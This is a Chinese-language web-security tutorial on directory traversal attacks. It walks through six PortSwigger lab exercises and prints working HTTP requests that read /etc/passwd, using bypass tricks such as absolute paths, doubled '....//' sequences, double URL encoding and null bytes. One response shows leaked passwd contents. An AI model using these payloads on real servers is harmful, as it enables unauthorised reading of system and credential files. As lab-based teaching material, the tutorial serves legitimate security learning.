欢迎关注订阅专栏!
WEB安全系列包括如下三个专栏:
- 《WEB安全基础-服务器端漏洞》
- 《WEB安全基础-客户端漏洞》
- 《WEB安全高级-综合利用》
知识点全面细致,逻辑清晰、结合实战,并配有大量练习靶场,让你读一篇、练一篇,掌握一篇,在学习路上事半功倍,少走弯路!
欢迎关注订阅专栏!
- 专栏文章追求对知识点的全面总结,逻辑严密,方便学习掌握。力求做到看完一篇文章,掌握一类漏洞知识。让读者简洁高效的掌握WEB安全知识框架,推开入门深造的大门。
- 绝不为了追求文章数量,彰显内容丰富而故意拆散相关知识点。这会导致逻辑凌乱,让读者沉迷在无尽的技巧中而迷失进阶的道路!本系列的目标是授之以技巧不如授之以渔。
- 每篇文章均配有大量靶场,点击文章中靶场名即可跳转练习(靶场在网站注册即可免费使用)。
- 欢迎订阅专栏!建议学完两个基础专栏,再学习高级哦~
WEB安全基础入门—目录遍历(路径遍历\路径穿越攻击)
- 1. 什么是目录遍历攻击
- 2.任意读取文件
- 3. 常见的防护绕过方法
- 4. 漏洞实例
- 1. 文件路径遍历,简单情况 ([File path traversal, simple case](https://portswigger.net/web-security/file-path-traversal/lab-simple))
- 2. 文件路径遍历,使用绝对路径绕过([File path traversal, traversal sequences blocked with absolute path bypass](https://portswigger.net/web-security/file-path-traversal/lab-absolute-path-bypass))
- 3. 文件路径遍历,双写绕过过滤 ([File path traversal, traversal sequences stripped non-recursively](https://portswigger.net/web-security/file-path-traversal/lab-sequences-stripped-non-recursively))
- 4. 文件路径遍历,多重URL编码绕过过滤
- 5. 文件路径遍历,验证路径开头([File path traversal, validation of start of path](https://portswigger.net/web-security/file-path-traversal/lab-validate-start-of-path))
- 6. 文件路径遍历,空字节绕过文件扩展名验证 ([File path traversal, validation of file extension with null byte bypass](https://portswigger.net/web-security/file-path-traversal/lab-validate-file-extension-null-byte-bypass))
1. 什么是目录遍历攻击
攻击者在服务器端任意访问和修改文件、数据和凭证等的一系列危险操作,最终控制整个服务器的行为,称为目录遍历攻击。
2.任意读取文件
- 网站中往往有读取图片的链接,程序往往通过照片的本地\远程文件路径,调用文件系统API去读取内容。
<img src="/loadImage?filename=218.png">
程序调用的实际完整路径为 /var/www/images/218.png
- 若网站没有路径防护或过滤,可构造如下连接,实际访问服务器上的密码本或敏感配置
https://insecure-website.com/loadImage?filename=../../../etc/passwd
…/在linux意味着上一级目录,那…/…/就是上两级目录。window …/ 或者…\均可。一般要跳转至根目录(可多次…/…/…/)再去输入感兴趣文件的绝对路径。
https://insecure-website.com/loadImage?filename=..\..\..\windows\win.ini
例题1
3. 常见的防护绕过方法
- 程序对URL中的
./
(./当前目录的表示方法)等符号进行转义。可尝试使用绝对路径、双写等。如/etc/passwd
或//etc//passwd
- 有些程序会对
../
进行过滤,可采用URL编码或URL双重编码进行绕过,如....//
例题 2、3、4
- 有些会对路径头有要求无法改动,此时可使用路径后增加
../../../yourpath
实现绕过
例题5
- 有些会对文件格式做要求,比如必须已png结尾,此时可以使用阶段符号%00实现绕过
例题 6
4. 漏洞实例
1. 文件路径遍历,简单情况 (File path traversal, simple case)
- 目标
读取/etc/passwd 文件内容
- 解题思路
- 截取数据包,发现很多图片的数据包为
GET /image?filename=21.jpg HTTP/1.1
Host: ac9c1f821e653c76c0291f4600f80077.web-security-academy.net
- 尝试构造目录遍历攻击包
GET /image?filename=../../../etc/passwd HTTP/1.1
Host: ac9c1f821e653c76c0291f4600f80077.web-security-academy.net
HTTP/1.1 200 OK
Content-Type: image/jpeg
Connection: close
Content-Length: 1256
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
2. 文件路径遍历,使用绝对路径绕过(File path traversal, traversal sequences blocked with absolute path bypass)
- 目标
读取/etc/passwd 文件内容
- 解题思路
使用绝对路径绕过
GET /image?filename=/etc/passwd HTTP/1.1
Host: acdc1fa71e61136dc0d333ff009d0097.web-security-academy.net
Cookie: session=A0bmGM8oWsiKBIEnRVoa3Hf7ScODLbj0
3. 文件路径遍历,双写绕过过滤 (File path traversal, traversal sequences stripped non-recursively)
- 目标
读取/etc/passwd 文件内容
- 解题思路
- 发现常规的…/无效 尝试双写绕过
....//....//etc//passwd
- 发现常规的…/无效 尝试双写绕过
GET /image?filename=....//....//....//etc//passwd HTTP/1.1
Host: acd81f9d1fe83b0dc0858f0f00a20095.web-security-academy.net
4. 文件路径遍历,多重URL编码绕过过滤
- 目标
读取/etc/passwd 文件内容
- 解题思路
- 发现传统双写绕过不成功,考虑Fuzz(混淆绕过)。Burp爆破模块内置了混淆的字典
- 发现一个成功的,后面该下路径文件名就行
GET /image?filename=%2e%252e%252f%2e%252e%252f%2e%252e%252f%2e%252e%252f%2e%252e%252f%2e%252e%252f%2e%252e%252f%2e%252e%252f%2e%252e%252f%2e%252e%252f%2e%252e%252f%2e%252e%252fetc%2fpasswd HTTP/1.1
Host: ac571fd31e5a12a6c03c2e64008200be.web-security-academy.net
5. 文件路径遍历,验证路径开头(File path traversal, validation of start of path)
- 目标
读取/etc/passwd 文件内容
- 解题思路
如题必须以/var/www/images开头,所以后接多个../
跳转至根目录,在写出目标文件绝对路径
GET /image?filename=/var/www/images/../../../../etc/passwd HTTP/1.1
Host: ac361f0b1ee43c97c08f438a00db004a.web-security-academy.net
Cookie: session=01EaYq2nzAPLOi9viHGOEokhPCWz2Gwg
6. 文件路径遍历,空字节绕过文件扩展名验证 (File path traversal, validation of file extension with null byte bypass)
- 目标
读取/etc/passwd 文件内容
- 解题思路
GET /image?filename=../../../../etc/passwd%00.png HTTP/1.1
Host: ac831fcc1fcb82d8c02b089100dd0098.web-security-academy.net